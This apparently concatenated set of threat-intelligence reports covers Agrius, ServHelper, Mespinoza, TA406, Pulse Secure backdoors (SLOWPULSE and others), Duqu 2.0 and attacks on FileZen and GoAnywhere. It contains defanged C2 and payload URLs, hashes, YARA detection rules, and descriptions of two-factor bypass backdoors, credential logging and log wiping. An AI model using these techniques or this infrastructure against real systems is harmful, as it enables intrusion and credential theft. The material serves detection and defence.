- hxxp://5.2.73.67/Panel/new/File/css/boot.php
- hxxp://185.142.98.32/Scripts/_Data/25/lastupdate.php
- hxxp://185.142.97.81/css/v1/template/main.php
### Super Relays
- hxxp://theisnonamelikethis29123.com/mail.php
- hxxp://whynooneistherefornoneofthem.com/about.php
### Hardcoded User Agent
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; EmbeddedWB 14.52 from: http://www.google.com/ EmbeddedWB 14.52; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30)
### Service Name
- IPsec Helper
### Apostle Samples
- 32616cdd343ad938e385b32aa482fea4
- 851b7b8dd006dc889bf8f9282dc853ce
- 067bdb137d527f6986629dd63357592e8ad7ea92
- be2dd26946bc0ca3ec8683568dc73a5852d79235
- 6fb07a9855edc862e59145aed973de9d459a6f45f17a8e779b95d4c55502dcce
- 19dbed996b1a814658bef433bad62b03e5c59c2bf2351b793d1a5d4a5216d27e
### Mutexes
- Global-CeikEKrAmr5lh8GJwsDk
- Global-XSjzmQixFXFfHO3npSYS
### Schedule Task
- MicrosoftCrashHandlerUAC
### DEADWOOD Old Samples
- d40453a154d9254919ebf575eecdc590
- a60c177bb5d293d0a0d7231f0b8cad6b
- 857ef30bf15ea3da9b94092da78ef0fc
- 58cb07bf3af30363e52d64af61fe832ecc9ba70d
- f5acabb74864e95b69597b0785ef944f445c9683
- 195188bfc99bbdc2d29952ed10a8413b362f4373
- e889d4b2cfb48b6e8f972846538dfbc057dbfc35fa28f0515cad4d60780a9872
- 5eb5922b467474dccc7ab8780e32697f5afd59e8108b0cdafefb627b02bbd9ba
- 18c92f23b646eb85d67a890296000212091f930b1fe9e92033f123be3581a90f
### Agrius Sample
- 338236f51e666e26e4547273e9a23d98
- 9c9a5184ba377bce87fb3b4483331866f392afde
- e37bfad12d44a247ac99fdf30f5ac40a0448a097e36f3dbba532688b5678ad13
### Service Names
- ScDeviceEnums
- SqlSBK
### Trigger File names
- gip-starter-er-iso-sql-backup.sql-iso-9001
- Microsoft.Help.dll.iso
### Webshells
- aea6ab1ffa2243b94ebcca7759e60f64
- f88d308b1b4e6e41a9a17455978ec24b
- c125149b44be78fae9ba3eb1f33d03dc
- e575a627a5a98833f9fd48458e342276
- d1645e55e4d10d9992793d66206fce94
- a9ee524171107deb0732102dee81e7bb
- 1caaacebe309474d36d8243a3c393351
- b05a582e28e349cbb252a7c3f5060862
- aad3908e52c6987a626e4350f8f50f62
- 4e74671a06748794d28c64781c3d2c96664f82a9
- 4e83e61efe0af873c282336a140e899340647551
- d2fff8dec081efd972739acf2a877557397bcbb9
- f5221ddbae00e6cf2c37d5c4bdb22567fa7bbae1
- 65ee66050faf0fe9c023cfc15edb73cf7f77fe4d
- e805de2d8925af37cfd4f26f7ac3e38cd7fedd36
- 069e082caf0dafd3fef51b4b0be0e4e21919ae27
- c53e3ff5c3c522738ac1dfbd4e70f88a14b0f599
- 34c1117f7a38eb78743f6a9f433f03e195e1b4e0
- 7ce212c0a1721071351c0176fa691d6665a7bcb5
- 3e9c6f384b63ebeaa729b7c97a179d409cdd859315ee2f6372a2a550e567445f
- df94d32997e22bae2e5745eb3120947b025f79a16cf4b710131f911b12d960cc
- b5149c1aae5c899a0f3a4be162e24c08d284f67f6b9fb70439ce6d91353a540c
- 85f16df007fc848731ed02e0c3d8dd3ab1f2f2bf8c1b6999f7d9ff98a1cac1c7
- bac77143cb8829c802a6723a397277aa34ba2738103d78517b36c6cfb06724ef
- e4ea1728e19699612b5614cc0b8829a4bf749870648be6efc1b8a88c036f3607
- f18dd50dde8c1101eb3c892fc2bf04b7779c2c0def27de1d6c1fd341f3ecdf6c
- 4a50073f841a1beaa5900241fce76ed242659130e065dbd38be318a650b1264a
- ccfc0a2652916543e0ce972b38ba50815e8df11387502519607c9fd4f91d635f
- 5f5edae2cae4db0ee988962ca2e7cccd1892e4f4b512fbb780210595c7ba7088
### Other infrastructure
- 81.177.23.16
- 81.177.22.16
- 185.147.131.81
- 95.211.140.221
- 54.37.99.4
- 37.59.236.232
- 37.120.238.15
### YARA Rules
```yara
rule Agrius_Webshells {
meta:
description = "Detects variations of webshells used by Agrius"
author = "Amitai B @ SentinelOne"
version = "1.0"
TLP = "White"
last_modified = "2021-05-11"
strings:
$s1 = "public string base64ToStr(string instr)" ascii
$s2 = "Process prcsss=new Process()" ascii
$s3 = "<form id=\"PRIVATECode\" runat=\"server\">" ascii
condition:
( filesize > 1KB and filesize < 150KB and any of them )
}
rule Agrius_Function_Names {
meta:
description = "Detects malware used by Agrius threat actor based on unique function names"
author = "Amitai B @ SentinelOne"
version = "1.0"
TLP = "White"
last_modified = "2021-05-11"
strings:
$s1 = "GetWindowsTempPath" ascii
$s2 = "GetCurrentProcess" ascii
$s3 = "GetOwnPath" ascii
$s4 = "PublicFunction" ascii
$s5 = "SelfDelete" ascii
$s6 = "IsFirstInstance" ascii
condition:
( filesize > 1KB and filesize < 300KB and 3 of ($s*) )
}
```
## ABOUT SENTINELLABS
InfoSec works on a rapid iterative cycle where new discoveries occur daily and authoritative sources are easily drowned in the noise of partial information. SentinelLabs is an open venue for our threat researchers and vetted contributors to reliably share their latest findings with a wider community of defenders. No sales pitches, no nonsense. We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms. SentinelLabs embodies our commitment to sharing openly – providing tools, context, and insights to strengthen our collective mission of a safer digital life for all. In addition to Microsoft operating systems, we also provide coverage and guidance on the evolving landscape that lives on Apple and macOS devices. |
# New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload
April 2, 2019 | Shaul Vilkomir-Preisman
ServHelper is a recently discovered backdoor associated with TA505, a veteran threat group that has also been linked to the infamous Dridex banking malware, the GlobeImposter ransomware, and other high-profile malware campaigns. Deep Instinct Threat Research unit has recently discovered a new variant of ServHelper that employs an Excel 4.0 macro Dropper, a legacy mechanism still supported by Microsoft Office, and an executable payload signed with a valid digital signature. Since this vector came to light, it has gained some traction, although it is still not widespread and is used by only a handful of threat actors.
## Attack Flow
Once the malicious Excel sheet is opened, the Excel 4.0 macro is executed, and msiexec.exe is called to download and execute the payload. ServHelper’s payload, an NSIS Installer signed with a valid digital signature, is downloaded by msiexec.exe to its temporary folder (C:\Windows\Installer\MSI[4-character-string].tmp) and executed. Once the dropped payload is executed, it will drop a DLL file contained in the installer to %TEMP%\xmlparse.dll and use rundll32.exe to call the DLL’s exported function “sega”.
The malware will then write a base64 encoded PowerShell script (which is contained in xmlparse.dll as a resource) to %TEMP%\enu1.ps1 and execute it. The script, intended for reconnaissance purposes, checks if a machine is part of a domain and if the user has Admin privileges or is part of the Admin Group. This information is then reported back to ServHelper’s Command & Control server, and if the user is part of a domain, the Command & Control server will also instruct the malware to gather a list of other users in the domain.
## Commands from Command & Control Server
ServHelper can receive several types of commands from its Command & Control server, including:
- **shell** – execute a shell (cmd.exe) command and return its output
- **loaddll** – download a DLL file and load it using rundll32.exe
- **persist** – write an auto-run registry entry at HK_CU\Software\Microsoft\Windows\CurrentVersion\Run\ as “Intel Protect”, returns “persistence established” if successful
- **slp** – enter sleep mode
- **selfkill** – remove the malware from the infected machine
## Signed Payload and Core
Both the NSIS Installer payload and ServHelper’s core DLL are, at the time of writing, signed using a valid signature. The certificate used to sign the malware was issued to “MASLAK LTD” of Uxbridge, Great Britain. While this appears to be a legitimately registered company, further investigation is required to determine the validity of the certificates or whether they have been compromised and the possibility of MASLAK being a shell company. Our analysis of “MASLAK LTD” certificates reveals another certificate issued by them that was previously used to digitally sign malware, although it has since been revoked.
## Conclusion
TA505 is a highly advanced global threat actor. It employs a vast array of sophisticated, constantly developed malware for different purposes, exploiting the most recently discovered and publicized weak points. This, factually, pays off for TA505. The evasive and legitimizing factors described above, whereby a dropper employs a lesser-known and poorly detected old-school technique combined with a validly signed payload and malware core, all contribute to its evasiveness. When this variant first appeared on VirusTotal, it was almost completely undetected.
## IOCs
- **Excel 4.0 macro Dropper**: 63522e00181e6b8d9ae8bfd51f7df8f8ebd0f42323e22047269df9c7a71c9b6d
- **NSIS Payloads**:
- e0323064f2561ae02f9efae418aeaf433b3fe0e6e3a640a9c46ec404d4563de1
- 302aa690ae61d36769ecdaa3d23ac8fb167e80aed2fe5dbc8938f7b75c655a01
- **ServHelper core DLL**:
- bee3b2710f7e874ce05e6b8b45cc20e021b9c00ee337238598e71e7315128333
- 2f827084ecc300aea0c84cba8872c9a34e6afce56eea454d74f4dd3144301a2d
- **Encoded reconnaissance PowerShell script**: da7465f14cd8a934668f59974e8836e02a9b1ff948bfe964040b840ab61697dc
### “MASLAK LTD” Certificates:
- **Valid**:
- Thumbprint (SHA1): 557B9ADADAEF142B7C38AE04F6C1A9FC8E4251C1
- Serial Number: 68DE1F7207D5EDD81E4B62093139340A
- **Revoked**:
- Thumbprint (SHA1): B4CDC78A2FCBE0A70A120D7449F956C7B7507E97
- Serial Number: 3803B0D45F38CEA186D588606C34B63A
### Payload URLs:
- hxxp://169.239.128[.]104/alg
- hxxp://45.63.101[.]210/appservice
- hxxp://151.236.23[.]56/appservice
### ServHelper Command & Control:
- hxxp://cdnavupdate[.]icu/jquery/jquery.php
- hxxp://afsafasdarm[.]icu/jquery/jquery.php
- hxxp://rff3faafefw[.]pw/jquery/jquery.php
- hxxp://afwer444sff[.]icu/jquery/jquery.php |
# Attaques par le rançongiciel Mespinoza/Pysa
L’ANSSI a récemment été informée d’attaques informatiques visant notamment des collectivités territoriales françaises. Lors de ces attaques, des codes malveillants de type rançongiciel ont été utilisés, rendant certains fichiers inutilisables. L’origine de ces attaques est inconnue à ce jour et des analyses sont actuellement en cours. Toutefois, les attaques par rançongiciels sont généralement conduites de manière opportuniste par des acteurs motivés par des objectifs lucratifs.
Le but de ce document est de décrire le mode opératoire utilisé lors de ces attaques et les indicateurs de compromission associés, puis de fournir des recommandations permettant de limiter l’impact de ce type d’incident. |
```markdown
``` |
# Triple Threat: North Korea-Aligned TA406 Scams, Spies, and Steals
**Key Takeaways**
Throughout 2021, the North Korea-aligned threat actor TA406 conducted frequent credential theft campaigns targeting research, education, government, media, and other organizations. Proofpoint considers TA406 to be one of several actors that make up the activity publicly tracked as Kimsuky, Thallium, and Konni Group. TA406 doesn’t usually employ malware in campaigns. However, two notable 2021 campaigns attributed to this group attempted to distribute malware that could be used for information gathering. TA406 engages in espionage, cyber crime, and sextortion.
## Overview
Throughout 2021, Proofpoint has tracked ongoing credential theft campaigns from TA406, an actor associated with the Democratic People’s Republic of Korea (DPRK). Our analysts have tracked TA406 campaigns targeting customers since 2018, but the threat actor’s campaigns remained low in volume until the beginning of January 2021. From January through June 2021, Proofpoint observed almost weekly campaigns targeting foreign policy experts, journalists, and nongovernmental organizations (NGOs).
## Introduction
In this report, we describe in detail many of the campaigns and behaviors associated with an actor operating on behalf of the North Korean government: TA406. We begin by explaining how TA406 is associated with Kimsuky, a threat actor name broadly tracked by the threat intelligence community. We then elaborate on how Proofpoint tracks the activity of Kimsuky as three separate threat actors—TA406, TA408, and TA427. Also, we detail the differences between these actors, based on Proofpoint’s visibility.
This report also examines campaign timing and targeting by TA406, and it provides a look into how TA406 conducts phishing campaigns, including the tools and services used. TA406 employs both malware and credential harvesting in espionage and information-gathering campaigns. This report details several examples of each, including different types of credential collection and two implants used by TA406 that haven’t been discussed before in open-source reporting. Finally, like all other North Korean state-sponsored actors that Proofpoint tracks, we provide evidence that TA406 conducts financially motivated campaigns, including the targeting of cryptocurrency and sextortion. |
# Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day
## Executive Summary
Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances. This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells. The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector. Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021. Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process.
## Introduction
Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families. The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity. Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners.
As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted.
## Details
Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment. In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893.
We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following:
1. Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants.
2. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices.
3. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem.
4. Maintain persistence across VPN appliance general upgrades that are performed by the administrator.
5. Unpatch modified files and delete utilities and scripts after use to evade detection.
6. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression.
In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this.
Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex.
## SLOWPULSE
During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so. Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section; refer to the Technical Annex for more details.
### SLOWPULSE Variant 1
This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication path if the provided password matches the attacker's chosen backdoor password.
**LDAP Auth Bypass**
The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication.
**RADIUS Two Factor Auth Bypass**
The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication.
### SLOWPULSE Variant 2
**ACE Two Factor Auth Credential Logging**
This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker.
### SLOWPULSE Variant 3
**ACE Two Factor Auth Bypass**
This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification, the attacker can spoof successful authentication.
### SLOWPULSE Variant 4
**RealmSignin Two Factor Auth Bypass**
This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass.
## Attribution
We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances.
Mandiant is able to assess that:
- UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021. We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5.
- UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP. We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group.
- We do not have enough information about the use of LOCKPICK to make an attribution statement.
## Recommendations
All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions and contact their Pulse CSR for additional guidance.
Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability.
Additional detections, mitigations, and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page.
## Detections and Mitigations
- **HARDPULSE** contains an embedded 'recovery' URL that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file.
- **PULSEJUMP, RADIALPULSE AND PACEMAKER** use the following files to record credentials:
- /tmp/dsactiveuser.statementcounters
- /tmp/dsstartssh.statementcounters
- /tmp/dsserver-check.statementcounters
The malicious operations of SLOWPULSE can be detected via log correlation between the authentication servers responsible for LDAP and RADIUS auth and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.
Upon invocation of the PULSECHECK webshell, the following HTTP request headers will be sent:
| Key | Value |
|------------------------|----------------|
| REQUEST_METHOD | POST |
| HTTP_X_KEY | <BackdoorKey> |
| HTTP_X_CNT | <RC4Key> |
| HTTP_X_CMD | <RC4Command> |
SLOWPULSE VARIANT 2 writes ACE logon credentials to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n.
PACEMAKER is saved at filepath /home/bin/memread. Executed with command line flags –t, -m, -s. Attaches to victim processes with PTRACE and opens subfiles in /proc/.
THINBLOOD creates the files:
- /home/runtime/logs/log.events.vc1
- /home/runtime/logs/log.events.vc2
- /home/runtime/logs/log.access.vc1
- /home/runtime/logs/log.access.vc2
Executes the system API with the mv command specifying one of the files above, targeting:
- /home/runtime/logs/log.access.vc0
- /home/runtime/logs/log.events.vc0
Executes the rm command specifying one of the .vc1 files above.
## MITRE ATT&CK Techniques
The following list of MITRE ATT&CK techniques cover all malware samples described in this report as well as those observed throughout the lifecycle of UNC2630 and UNC2717.
- T1003-OS Credential Dumping
- T1016-System Network Configuration Discovery
- T1021.001-Remote Desktop Protocol
- T1027-Obfuscated Files or Information
- T1036.005-Match Legitimate Name or Location
- T1048-Exfiltration Over Alternative Protocol
- T1049-System Network Connections Discovery
- T1053-Scheduled Task/Job
- T1057-Process Discovery
- T1059-Command and Scripting Interpreter
- T1059.003-Windows Command Shell
- T1070-Indicator Removal on Host
- T1070.001-Clear Windows Event Logs
- T1070.004-File Deletion
- T1071.001-Web Protocols
- T1082-System Information Discovery
- T1098-Account Manipulation
- T1105-Ingress Tool Transfer
- T1111-Two-Factor Authentication Interception
- T1133-External Remote Services
- T1134.001 Access Token Manipulation: Token Impersonation/Theft
- T1136-Create Account
- T1140-Deobfuscate/Decode Files or Information
- T1190-Exploit Public-Facing Application
- T1505.003-Web Shell
- T1518-Software Discovery
- T1554-Compromise Client Software Binary
- T1556.004-Network Device Authentication
- T1592.004 Gather Victim Host Information: Client Configurations
- T1562 Impair Defenses
- T1569.002-Service Execution
- T1574 Hijack Execution Flow
- T1600-Weaken Encryption
## Technical Annex
### SLIGHTPULSE
The file meeting_testjs.cgi is a webshell capable of arbitrary file read, write, and command execution. Malicious logic is inserted at the end of legitimate logic to respond to POST requests. We believe this webshell may be responsible for placing additional webshells and used to modify legitimate system components resulting in the other observed malware families due to its functionality.
The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed, the legitimate logic is still invoked.
### RADIALPULSE
The file with the SHA256 hash is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords, and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters. Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage.
### SLOWPULSE Variants
The file libdsplibs.so is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal.
In multiple locations, assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way, the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only affecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively.
### LOCKPICK
The file libcrypto.so is a shared object containing cryptographic logic from OpenSSL. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases.
### Acknowledgements
Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson, and Michael Dockry for their hard work in analysis and blog content. |
```yaml
rule apt_duqu2_loaders {
meta:
copyright = "Kaspersky Lab"
description = "Rule to detect Duqu 2.0 samples"
last_modified = "2015-06-09"
version = "1.0"
strings:
$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
$b1 = "MSI.dll"
$b2 = "msi.dll"
$b3 = "StartAction"
$c1 = "msisvc_32@" wide
$c2 = "PROP=" wide
$c3 = "-Embedding" wide
$c4 = "S:(ML;;NW;;;LW)" wide
$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
condition:
( (uint16(0) == 0x5a4d) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) ) and filesize < 100000 ) or
( (uint32(0) == 0xe011cfd0) and ( (any of ($a*)) or (all of ($b*)) or (all of ($c*)) or (any of ($d*)) ) and filesize < 20000000 )
}
rule apt_duqu2_drivers {
meta:
copyright = "Kaspersky Lab"
description = "Rule to detect Duqu 2.0 drivers"
last_modified = "2015-06-09"
version = "1.0"
strings:
$a1 = "\\DosDevices\\port_optimizer" wide nocase
$a2 = "romanian.antihacker"
$a3 = "PortOptimizerTermSrv" wide
$a4 = "ugly.gorilla1"
$b1 = "NdisIMCopySendCompletePerPacketInfo"
$b2 = "NdisReEnumerateProtocolBindings"
$b3 = "NdisOpenProtocolConfiguration"
condition:
uint16(0) == 0x5A4D and (any of ($a*)) and (2 of ($b*)) and filesize < 100000
}
``` |
# Hacking Campaign Targets FileZen File-Sharing Network Appliances
Threat actors are using two vulnerabilities in a popular file-sharing server to breach corporate and government systems and steal sensitive data as part of a global hacking campaign that has already hit a major target in the Japanese Prime Minister’s Cabinet Office.
The attacks target FileZen, a popular file-sharing network appliance from Japanese firm Soliton, and are eerily similar to the attacks that targeted Accellion’s FTA file-sharing systems in late 2020 and early 2021. Both appliances work in the same manner. They are used to store large files that can’t be sent via email. Users typically upload files on a FileZen server and then use a web-based panel to obtain links that they can share with fellow employees or persons outside of their organization.
Just like most of these vendors, Soliton provides a cloud-based version of FileZen, but also standalone servers that can be installed on-premises to meet certain data privacy requirements in highly secured environments.
But while the FTA attacks came to light earlier this year, investigators are only now discovering the exploitation attempts that targeted FileZen, a solution that has a smaller install base, primarily located inside Japan.
## Two Vulnerabilities Exploited in the Wild
A source familiar with the investigation in Japan has told The Record that hackers appear to have found a combination of two FileZen security bugs, which they began exploiting earlier this year, in January. Threat actors used CVE-2020-5639 and CVE-2021-20655—two vulnerabilities that have been patched in December 2020 and February 2021, respectively—to breach FileZen systems left connected online that have not been placed behind a firewall. The first vulnerability allowed threat actors to upload malicious files on the device, while the second allowed them to run OS commands with elevated privileges.
In support documents published on its website, Soliton is telling customers to update to versions v4.2.8 or v5.0.3 or later to patch the attacker’s point of entry and prevent future intrusions. However, since the attacks started before a patch was ready, Soliton is also working on the presumption that customer systems have already been breached. The company is now advising that customers reset all admin account passwords and reset access-control (internal firewall) lists.
The source told The Record that there was not enough evidence to link the attacks on FileZen devices to the earlier attacks that targeted FTA systems, but that this would not surprise investigators, as the FileZen attacks appear to have started just as the FTA attacks were publicly exposed and slowly died out.
**Tags:** Accellion, Asia, Cabinet Office, FileZen, hacking campaign, Japan, Soliton, vulnerability, zero-day
Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers. |
# X-Force Prevents Zero Day from Going Anywhere
**Software Vulnerabilities**
March 30, 2023
By John Dwyer
This blog was made possible through contributions from Fred Chidsey and Joseph Lozowski. The 2023 X-Force Threat Intelligence Index shows that vulnerability discovery has rapidly increased year-over-year and according to X-Force’s cumulative vulnerability and exploit database, only 3% of vulnerabilities are associated with a zero day. X-Force often observes zero-day exploitation on Internet-facing systems as a vector for initial access; however, X-Force has also observed zero-day attacks leveraged by attackers to accomplish their goals and objectives after initial access was obtained.
In this post, X-Force will detail an investigation associated with a zero-day attack that occurred less than 24 hours after the release of the zero day — one of the fastest adoption times for financially motivated cybercriminals identified by X-Force since 2020. This incident is connected to a recent mass ransomware attack, which takes advantage of a vulnerability in Forta’s file-transfer tool, GoAnyWhere. This blog will also explore the relationship between ransomware attack paths and the adoption of zero days by cybercriminals: by analyzing the most commonly used zero-day exploits by cybercriminals observed by X-Force over the last three years, we’ve found that the ransomware attack lifecycle is a key driver behind zero-day adoption for cybercriminals.
## GoAnyWhere But Laterally
In February 2023, X-Force responded to an incident where a client had received alerts from their security tooling regarding potential lateral movement originating from a server within their network. The client’s security team discovered an authorized user account operating on a GoAnyWhere MFT server. Through analysis of existing security telemetry and forensic evidence, X-Force identified evidence of post-exploitation activity and exploitation of CVE-2023-0669 on the GoAnyWhere MFT server.
X-Force uncovered exploitation of CVE-2023-0669 through timeline analysis indicating a common post-exploitation command to download a file from a remote IP address was executed on the GoAnyWhere server at the same time a GoAnyWhere license error log was written referencing the same remote IP address. Upon first exploitation, the attacker attempted to download and execute a malicious payload which would have established a command and control (C2) channel via a Cobalt Strike, but the security tooling on the GoAnyWhere server detected and removed the malicious payload. X-Force recovered similar evidence indicating that the attacker attempted to execute Mimikatz through the exploitation of the vulnerability and was prevented.
